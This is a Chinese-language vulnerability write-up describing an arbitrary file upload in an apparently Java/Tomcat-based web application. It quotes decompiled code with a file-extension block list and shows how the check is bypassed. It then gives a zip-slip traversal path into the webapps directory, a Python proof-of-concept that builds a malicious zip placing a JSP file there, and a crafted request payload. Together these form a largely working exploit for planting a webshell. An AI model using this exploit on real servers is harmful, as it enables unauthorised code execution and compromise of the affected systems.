突破后缀限制实现任意文件上传

try {    var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,";    var3 = new FileInputStream(new File(var7 + var6 + var1 + var2));    var15 = new ZipInputStream((InputStream)var3);    ZipEntry var17 = null;    while((var17 = var15.getNextEntry()) != null) {        if (!var17.isDirectory()) {            var18 = var17.getName();            var19 = var18.substring(var18.indexOf("."));            if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {                var14.append("{文件名:"" + var1 + "",");                var14.append("类型:"" + var2 + "",");                var14.append("失败原因:此压缩文件中包含不允许上传的文件类型！}");                break;            }            if (var18.toLowerCase().indexOf("imsmanifest.xml") != -1) {                var9 = true;                SAXBuilder var20 = new SAXBuilder();                Document var21 = var20.build(var15);                var9 = var9 && this.isHashNode(var21);                break;            }            var15.closeEntry();        }    }} catch (IOException var44) {    var44.printStackTrace();    throw new Exception("zip文件错误");} finally {    PubFunc.closeIoResource(var15);    if (var3 != null) {        ((InputStream)var3).close();    }}

var18 = var17.getName();var19 = var18.substring(var18.indexOf("."));if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {      var14.append("{文件名:"" + var1 + "",");      var14.append("类型:"" + var2 + "",");      var14.append("失败原因:此压缩文件中包含不允许上传的文件类型！}");      break;}

tomcat/temp/xxxx.zip(ps:1.txt) -解压-> tomcat/temp/$(var2)/1.txt -zipslip->  tomcat/temp/$(var2)/../../webapps/1.txt

public void execute() throws GeneralException {     String var1 = "yes";     try {        ...        String var3 = (String)this.getFormHM().get("r5100");        ...        String var9 = (String)this.getFormHM().get("newPath");        ...        if (!var3.equals("")) {            var2.setString("r5100", var3);            var12 = this.isZip(var9, var3);

import zipfileif __name__ == "__main__":    try:        zipFile = zipfile.ZipFile("poc1.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("poc1.zip")        zipFile.write("./1.jsp", "../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED)        zipFile.close()    except IOError as e:        raise e

__xml={"functionId":"xxxxx0098","r5100":"123","newPath":"pymPAATTP2HJBPAATTPTSp3D3B4rfY9KhAbdPAATTP2HJBPAATTPG5D88fn0v7FA6ABeChYeJjq5fcLohhB4gaPAATTP2HJFPAATTPMIiqi5FFXEQqKHZPAATTP2HJFPAATTPrZR64L1hzvI0QApCj0mzlpFOFuzGQIlBSYCwL5nI36C66MJjBwHiBy1Kyx3cPAATTP2HJBPAATTPkHzFwJhiAe0xXuCscfPAATTP2HJBPAATTPPAATTP2HJFPAATTPhUSy6Ih2mpMTae9Z2fOVVPAATTP2HJBPAATTPXPmDGAPAATTP3HJDPAATTPPAATTP3HJDPAATTP"}